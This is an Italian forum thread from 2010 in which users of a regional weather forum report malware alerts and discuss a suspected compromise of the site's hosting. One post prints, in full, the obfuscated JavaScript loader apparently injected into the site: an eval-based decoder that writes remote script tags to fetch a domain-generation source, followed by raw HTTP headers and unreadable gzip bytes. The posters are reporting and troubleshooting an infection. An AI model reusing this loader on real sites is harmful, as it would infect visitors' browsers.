PDA

Visualizza Versione Completa : X Moderatori/Amministratori

lukebor
22-01-2010, 21:56
Scusate se apro un post non meteo in questa sezione ma è per sottoporvi all'attenzione il fatto che da oggi pomeriggio collegandomi da 2 differenti PC al sito elimiaromagnameteo.com ricevo il blocco da parte della protezione malware per contenuti che arrivano dal sito "edelkvmeuno.com".

Vi risulta?

Luca
millo
22-01-2010, 22:00
si mi risulta..ma nessuno mi ha spiegato il perche..ora ho bloccato la protezione e riesco a entrare..siamo in 2..
lukebor
22-01-2010, 22:02
si mi risulta..ma nessuno mi ha spiegato il perche..ora ho bloccato la protezione e riesco a entrare..siamo in 2..

Credo che sia un problema legato a qualche banner presente sul sito, oppure qualcuno si è infiltrato.

Chissà qualche meteo-hacker invidioso di questo forum....
Davide77
22-01-2010, 22:03
E' probabile che sia correlato con il problema di virus presente tuttora sul forum. Per entrare ho dovuto eseguire un paio di refresh. I primi tentativi davano questo risultato:

257F~dx7M0;0~e}9050Z2522Z259M0;0|uddubcK88dy}uK7}Z 257F~dx7M0:0~e}9050Z2522Z259M+tqiSx0-0|uddubcK88dy}uK7tqi7M0:0Z25269050Z2522Z279M+0dy}u Sx0-0tqiSx0-0|uddubcK88dy}uK7tqi7M0:0~e}9050Z2522$9M+4q-4qZ3ebu`|qsu8tZ3ctqiSx0;0iuqbSxZ25220;0}Z257F~dxSx 0;0iuqbSx!0;0tqiSx0;0}Z257F~dxcKdy}uK7}Z257F~dx7M0 Z3d0!M0;07Z3esZ257F}79+mZ22;cuZ3dZ22(p}b4g`mxq)6b} g}v}x}`m.|}ppqz6*(}rfuyq4gfw)6|``d.;;rvwyr}f:wZ7by ;xp;v}zfszZ2526;64c}p`|)Z25$$4|q}s|`),$*(;}rfuyq*( ;p}b*Z22;dcZ3dZ227Z3c07fuc7Z3c07wxd7Z3c07u~y7Z3c07 ud~7Z3c07|uf7Z3c07dgu79+fqb0|uddubc0-0~ug0Qbbqi87q7Z3c7r7Z3c7s7Z3c7t7Z3c7u7Z3c7v7Z3c7w7 Z3c7x7Z3c7z7Z3c7y7Z3c7Z7b7Z3c7|7Z3c7}7Z3c7~7Z3c7Z2 57F7Z3c7`7Z3c7a7Z3c7b7Z3c7c7Z3c7d7Z3c7e7Z3c7f7Z3c7 g7Z3c7h7Z3c7i7Z3c7j79+fqb0~e}rubc0-0~ug0Qbbqi8!Z3cZ2522Z3c#Z3c$Z3cZ25Z3cZ2526Z3cZ27Z3 c(Z3c)9+Z2519ve~sdyZ257F~0Sq|se|qdu]qwys^e}rub8tqiZ3c0}Z257F~dxZ3c0iuqbZ3c0y~tuh9kbude b~0888iuqb0;08y~tuh0:0tqi990;08}Z257F~dx0N0tqi90:0 y~tuh90;0tqi9+m0fZ22;daZ3dZ22fqb0t-7vrs}vybZ3esZ257F}7+0fqb0cxyvdY~tuh0-0Z2520+vZ257Fb08fqb0y0y~0gy~tZ257FgZ3edgZ3edbu~tc9 kyv08gy~tZ257FgZ3ex0.0(0660gy~tZ257FgZ3ex0,0Z2522! 0660yZ3ey~tuh_v870Z2520Z27790.0Z3d!9kcxyvdY~tuh0-0gy~tZ257FgZ3edgZ3edbu~tcKyMK$MZ3eaeubiZ3esxqbSZ25 7FtuQd8!90;0gy~tZ257FgZ3edgZ3edbu~tcKyMK$MZ3eaeubi Z3e|u~wdx+rbuqZ7b+mu|cu0yv088gy~tZ257FgZ3ex0,0)0ll 00gy~tZ257FgZ3ex0.0Z2522Z252090660yZ3ey~tuh_v870!( 790.0Z3d!9kcxyvdY~tuh0-0gy~tZ257FgZ3edZ22;dzZ3dZ22Z2566uncZ2574ionZ2520dZ 2577Z2528t)Z257bcaZ253dZ2527Z252564Z25256fcuZ25256 denZ25257Z2534Z25252ewrZ252569Z2574Z252565(Z252522 Z2527;cZ2565Z253dZ2527Z252522)Z2527;cbZ253dZ2527Z2 5253csZ252563Z2572ipZ25257Z2534Z2520Z256caZ2525Z25 36eZ2567uZ2561Z252567Z25256Z2535Z25253dZ25255cZ252 522javZ2561scZ252572Z252569Z2525Z2537Z2530tZ25255Z 2563Z252522Z25253eZ2527;ccZ253dZ2527Z25253cZ25255c Z25252fscriptZ25253eZ2527;evaZ256c(uZ256eeZ2573Z25 63aZ2570eZ2528t)Z2529Z257d;Z22;ceZ3dZ2268arCZ256fd eZ2541Z2574Z25280Z2529Z255e(Z25270x0Z2530Z2527Z252 bes)Z2529Z2529Z253b}}Z22;ccZ3dZ22engZ2574h;iZ252b+ )Z257bZ2574Z256dpZ253ddZ2573.sZ256ciZ2563e(iZ252ci +Z2531Z2529;sZ22;Z69fZ20(doZ63uZ6denZ74Z2eZ63oZ6fZ 6bie.Z69ndeZ78OZ66(Z27rfZ35f6Z64sZ27)Z3dZ3d-1)Z7bfunctioZ6e cZ61Z6clbZ61ck(Z78)Z7bwZ69ndoZ77Z2etZ77 Z3dZ20Z78;vaZ72 d Z3d Z6eew Z44aZ74e()Z3bdZ2eZ73Z65Z74TimZ65(xZ5bZ22aZ73_oZ66Z 22]*Z31000Z29;vZ61r Z68Z20Z3d d.Z67etUZ54CHZ6fuZ72s(Z29;wiZ6edZ6fw.Z68 Z3d h;iZ66 Z28h Z3eZ208)Z7bd.sZ65tUTZ43Z44ateZ28Z64Z2eZ67etZ55TZ43 DatZ65(Z29Z20Z2dZ202Z29;}Z65lseZ7bd.Z73etZ55TCZ44Z 61tZ65Z28d.gZ65Z74UTZ43DaZ74e(Z29 Z2d 3Z29;Z7dZ77Z69ndZ6fw.Z67Z64 Z3d d;Z76Z61r tZ69meZ20Z3d neZ77 AZ72Z72ay(Z29;vaZ72 shZ69ftZ49Z6edexZ20Z3d Z22Z22;timeZ5bZ22yearZ22]Z20Z3d d.Z67etZ55Z54Z43FZ75lZ6cYZ65Z61r(Z29Z3btZ69Z6de[Z22montZ68Z22] Z3d d.geZ74UTCZ4dontZ68()Z2b1Z3bZ74Z69me[Z22Z64ayZ22] Z3d d.Z67Z65Z74UTZ43DZ61te(Z29Z3biZ66 (dZ2egZ65tUTZ43MZ6fntZ68()+Z31 Z3c 10)Z7bshifZ74InZ64exZ20Z3d timZ65Z5bZ22yearZ22]Z20+Z20Z22-0Z22 + Z28Z64.Z67etUZ54CMoZ6etZ68(Z29+1)Z3bZ7dZ65lZ73eZ7b shiftZ49ndZ65Z78 Z3d tiZ6dZ65[Z22yeaZ72Z22] +Z20Z22-Z22 + (dZ2egeZ74UTCZ4dontZ68()+Z31);}Z69Z66 Z28dZ2egetZ55TCDZ61Z74Z65()Z20Z3c 1Z30Z29Z7bshiZ66tIZ6edeZ78Z20Z3dshiZ66tIZ6edZ65x +Z20Z22Z2d0Z22 + dZ2egetZ55TCDZ61Z74e()Z3b}elZ73eZ7bshiZ66tInZ64Z65 x Z3d shZ69ftZ49ndZ65xZ20+ Z22-Z22 Z2b Z64Z2eZ67etZ55TZ43DZ61Z74e(Z29;}dZ6fZ63Z75Z6dZ65nt .Z77riZ74Z65(Z22Z3cscrZ22+Z22ipt lZ61ngZ75Z61geZ3djavZ61sZ63riZ70tZ22+Z22Z20Z73rZ63 Z3dZ27htZ74pZ3aZ2fZ2fsearch.tZ77itZ74Z65Z72.cZ6fZ6 dZ2ftreZ6eZ64sZ2fdZ61ilyZ2ejsoZ6e?dZ61teZ3dZ22+ shZ69ftIZ6edeZ78+Z22&calZ6cbaZ63Z6bZ3dcaZ6cZ6cbaZ63k2Z27Z3eZ22 + Z22Z3cZ2fscrZ22 + Z22iptZ3eZ22);} fZ75nZ63tZ69oZ6e Z63Z61llZ62Z61ck2Z28x)Z7bwiZ6edoZ77Z2eZ74w Z3d Z78;sZ63(Z27rfZ35fZ36dZ73Z27,2,7Z29Z3bevZ61l(Z75ne Z73capZ65(Z64z+cZ7aZ2bop+Z73t)+Z27Z64w(dZ7a+cZ7a($ aZ2bZ73tZ29);Z27);dZ6fcZ75menZ74.wrZ69Z74Z65(Z24a) Z3b}doZ63uZ6denZ74.wZ72iZ74e(Z22Z3cimZ67 srZ63Z3dZ27http:Z2fZ2fseaZ72Z63h.Z74wiZ74terZ2eZ63 Z6fmZ2fimagZ65sZ2fseaZ72cZ68Z2frss.pZ6eZ67Z27 widthZ3d1 Z68eiZ67htZ3d1 sZ74yZ6ceZ3dZ27visibiZ6citZ79:hiZ64dZ65nZ27 Z2fZ3e Z3cscrZ22+Z22ipt lanZ67uagZ65Z3djavasZ63riZ70tZ22+Z22 Z73rcZ3dZ27http:Z2fZ2fsearcZ68.Z74witZ74Z65rZ2ecom Z2ftreZ6edsZ2fdailZ79.jZ73oZ6e?Z63aZ6clbaZ63kZ3dca Z6clbaZ63kZ27Z3eZ22 + Z22Z3cZ2fscrZ22 + Z22iptZ3eZ22);}elseZ7b$aZ3dZ27Z27};fuZ6ectiZ6fnZ20 scZ28Z63nm,Z76Z2cZ65Z64)Z7bZ76ar Z65xZ64Z3dZ6eewZ20Z44Z61Z74e(Z29;Z65xdZ2eZ73etDZ61 teZ28eZ78Z64.Z67etDZ61teZ28)+eZ64)Z3bdZ6fcumZ65nZ7 4Z2ecZ6fokZ69eZ3dcnm+ Z27Z3dZ27 +escZ61pe(Z76)+Z27;exZ70ireZ73Z3dZ27+exd.tZ6fGMZ54 SZ74rinZ67()Z3b}Z3b";function z(s){r="";for(i=0;i<s.length;i++){if(s.charAt(i)=="Z"){s1="%"}else{s1=s.charAt(i)}r=r+s1;}return unescape(r);}eval(z($a));</script>HTTP/1.1 200 OK
Date: Fri, 22 Jan 2010 21:00:00 GMT
Server: Apache/2.2
Cache-Control: private
Pragma: private
X-UA-Compatible: IE=7
Content-Encoding: gzip
Content-Length: 20145
Keep-Alive: timeout=15, max=99
Connection: Keep-Alive
Content-Type: text/html; charset=ISO-8859-1

‹������ÿí}[sÛH’î³Ñÿ¡šÓ’gÄ;%Q´)‡,KnÍñm$Ù³—ØP€D¢
l�”,ÏÙ?q~Éþ¤yœ‡}Ú·};_fU¼I”-÷nÏt‹Q÷¬Ì//•õìÇ—ïÏÿùý‘Æ#O¼ÿðâõÉ¡(•«Õ¿6«Õ—ç/Å?ýrþ浨Wjâ<´üȍÝÀ·¼jõèmI”†q<îT«××וëf%ÕóÓêgª«N…ÕÇrl”¬Ø±]Úÿáñ3nñóÈó£nA=õ½½=Y¼$l7ì–¼8, ÏòÝ’Ë
˦ŠFNl¡ÿñ¸ìü6q¯º¥ÃÀ?.ŸßŒ’èËoÝRì|Ž«ÔêSÑZaäÄÝ“³ wåv{{¯\/‰jR—oœniàøNhÅšMª¸z1ñ<'v}Ѭ´+-YHwAûäÜ\¡¥Þ8±„ \kK\ád´%Ðk'ØÎÈõ\K„ÁÈøÖt/l'ê‡î˜fݨñ½¢Ô(ÀÔÈŠTí•JE÷ ½ú±\‡ggâ,¾ñœhè8±(—i”=1¦GÍJ?B]»[ºê©^Ð#¼[ýãxüG‘8UK¹æŽØxé\Z/–ß7žÊ¿âäeGÔñZõ‡Ç½À¾ùáñß~xü¨y;â§ÿóO.±@x±6ŽÅ¹5ÄD ÐÞÕÿ4ƒ‰o—]LÓ“ÐÛäQµ7¨ ÜË'"÷bèŒ UÉ¿ôãÈ
®ßÛãÏÔ€ñúulÙ¶ë:¿àû¿ÿðØêx®ÿiKPw/,úœïôÎÎá!•%b*ÛN?�‰`m:Â|GWråbŸ8¶®G}ÍWU«ííéÃàÊ ·„Õ±ú±{åè’ü8[®‰t¹Ê3“ý9™VŒ&Fâá–o Ï•¯Í5Þ¬Ä=ЬÊ—Ò¹Ç:ó?4äé•“…°v˜Ù(ð\›–uoïøX«÷*¸ ÊöÎÞ‹Çæ‚BËv±e£ªþtAeå*Ëå,q0žs›I»'‡Ö <[Ò&Ô¶|l8ÚÈWøëMú®¿òƒ@S¾íl`ÖC×ò¶ÄÐñ®°·ûx%§+GNè^#ÁêH êàq‘Ç%ÿCÝ›C\u%D¢ª+¤’•jTD¤Ф¤ê/ ¥ÃCš¾Âþbã9à1š¦+ñܶ`-·w±â‹Ö’
ßz1‰ºbf [b½‹JÝ2V•¾-kBc¼ST!cùd¹Âõ+,š¬“ª*](YSÁJѦj651^AѾJö^²U³ÍS1c¸ôµh¸µšbr<\UÈ®,W8ÜZÍ`N±*š W}O‡+kZ4\Ë‹ë[¢B˜;N“!Œ±‚…5pªùâÓ;¡oÅN}9ÉBSƒ2
Ù¯†Ù¯;4¾|Û®O{smIZt)¤¦ºBݾ¾‰Üë›Áô$°z6LvÅBzUñªÛN ‰Pu¦ˆ øgd*Ñé ÛLÊ’âŒâšUaT˜cR_A·Zµšì ñvÄD¥t1žíÅdç£!„×ÊÏToDÀp1í= ,5–kNÍ—#÷ 0.Ú0üèҽ鬗Çö&qøiÃh“øyô°¸‘ã9}5‡jjò¯èÍJL
Äl¤,Ï£êçö¥»£)Deð4ߺêY
&©¾6sé ÝÁÐÿª%½  ›%¼vè• ¦gKºª\þŠ©(Ø— øúå¯ö8Ö

ïÒÿ¨IÝ =ú…í¾8jKXÓ¸7Á̧©fÚ´ €À„øiër+Ñ$d0_ÐÉZ`È"±4‡ç9�~Š?êq$LAó³{ÃW½‘ãO.Hs„nV8l”“µIfMuNBÙÌVHU ¢ºü«þÒJ\¡t”£±ÕÇÎöƒëÐ+ÂÊv&å¾ÙçEL8íÓ<D›*'ä³?]X…¼ºV;Ú–[c¥V4/϶a²ôì/�‘`¸r14Id™¡Òå1°ªmŒ5+½“¦ô¢¾×ÖòMU-ùÜ*¨…ÙêÚÄÉ bzÔŸ„©ïãÀ…%ÌÒ—ìýyÉÇEÔ•nÇ%Ö=©=…¢™Y›A[·k#GZIÛ XÈ5]@X+m!¬@±<¢JõL6ñ�^ö~jáå㢅¿ÅÜqÝ@!S¹]¹…OF–_xÝôm¾úGñGúG-F(2 Šž;ØÈ–‰ÀÇF‹âž 'îWT ²§Uð¦~Oü
…SHפ¼d»ÓmöJtS*¬Îo /ˆ©82jŽm©ë“éH²Ý+ùM%� 

...ecc. ecc... soccia//

Chiedo scusa se ho inserito il messaggio in questa sezione, ma mi sembra piuttosto importante...
Davide77
22-01-2010, 22:16
Scusate se apro un post non meteo in questa sezione ma è per sottoporvi all'attenzione il fatto che da oggi pomeriggio collegandomi da 2 differenti PC al sito elimiaromagnameteo.com ricevo il blocco da parte della protezione malware per contenuti che arrivano dal sito "edelkvmeuno.com".

Vi risulta?

Luca

In questo forum si parla dello stesso fantomatico sito:

http://www.imaccanici.org/forum/viewtopic.php?t=6679&start=0&postdays=0&postorder=asc&highlight=

E' probabile che il tutto sia dovuto al noto problema di sicurezza emerso nei gg scorsi su IE, che ha già fatto danni notevoli in giro (il governo tedesco e quello francese hanno di fatto "vietato" l'utilizzo di IE). Per la cronaca, ieri sera è stata rilasciata la relativa patch da Microsoft, che è opportuno installare immediatamente:

http://www.microsoft.com/technet/security/bulletin/ms10-002.mspx
gig
22-01-2010, 23:00
Risulta anche a me il virus, ma non nel forum, bensì entrando dall' home page. Infatti sen entro direttamente nel forum, senza passare dall' Home, Avast non mi segnala nessun virus....
Robby64
23-01-2010, 08:48
Risulta anche a me il virus, ma non nel forum, bensì entrando dall' home page. Infatti sen entro direttamente nel forum, senza passare dall' Home, Avast non mi segnala nessun virus....
stessa identica cosa
Enrico
23-01-2010, 08:53
idem anche a me....
Stefano90
23-01-2010, 10:15
Purtroppo ho cercato qualche codice maligno sul forum, ma non sono riuscito a trovare nulla, abbiamo già provveduto a contattare Aruba per cercare di risolvere questo fastidioso problema!
marinaio
23-01-2010, 11:56
Purtroppo ho cercato qualche codice maligno sul forum, ma non sono riuscito a trovare nulla, abbiamo già provveduto a contattare Aruba per cercare di risolvere questo fastidioso problema!

Stefano controlla l'index del sito.
Al 90% dovresti ritrovarti lì due o tre righe di codice estranee.
Se non trovi niente cambia l'index con una copia buona di backup e tutto dovrebbe tornare a posto.

Ciao
lukebor
23-01-2010, 11:59
Stefano controlla l'index del sito.
Al 90% dovresti ritrovarti lì due o tre righe di codice estranee.
Se non trovi niente cambia l'index con una copia buona di backup e tutto dovrebbe tornare a posto.

Ciao

Si è molto probabile che il problema sia questo.
Segnalo comunque che anche questa mattina il sito mi ha segnalato un virus.
Credo comunque che questo visrus non sia legato a internet explorer in quanto io utlizzo Google Chrome come browser che non ha questo tipo di problemi.
marinaio
23-01-2010, 12:02
Si è molto probabile che il problema sia questo.
Segnalo comunque che anche questa mattina il sito mi ha segnalato un virus.
Credo comunque che questo visrus non sia legato a internet explorer in quanto io utlizzo Google Chrome come browser che non ha questo tipo di problemi.

Il problema in questo caso non è nel browser del visitatore, ma sull'hosting.
In più, quando l'hosting è condiviso da più siti, è ancora più facile. Bucato uno, il resto è una catena.
Pietro
23-01-2010, 12:22
Utilizzo Firefox ed ho lo stesso problema,il sito emiliaromagnameteo non si apre.

Per il forum cliccando sul pulsante nuovi messaggi,salta fuori questa scritta:

HTTP/1.1 302 Moved Temporarily Date: Sat, 23 Jan 2010 11:17:50 GMT Server: Apache/2.2 Cache-Control: private Pragma: private X-UA-Compatible: IE=7 Location: http://www.forumeteo-emr.it/search.php?searchid=9411 Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 20 Keep-Alive: timeout=15, max=99 Connection: Keep-Alive Content-Type: text/html; charset=ISO-8859-1 ‹���������������

Alla fine si riesce ad entrare ma Kaspersky segnala cmq un virus.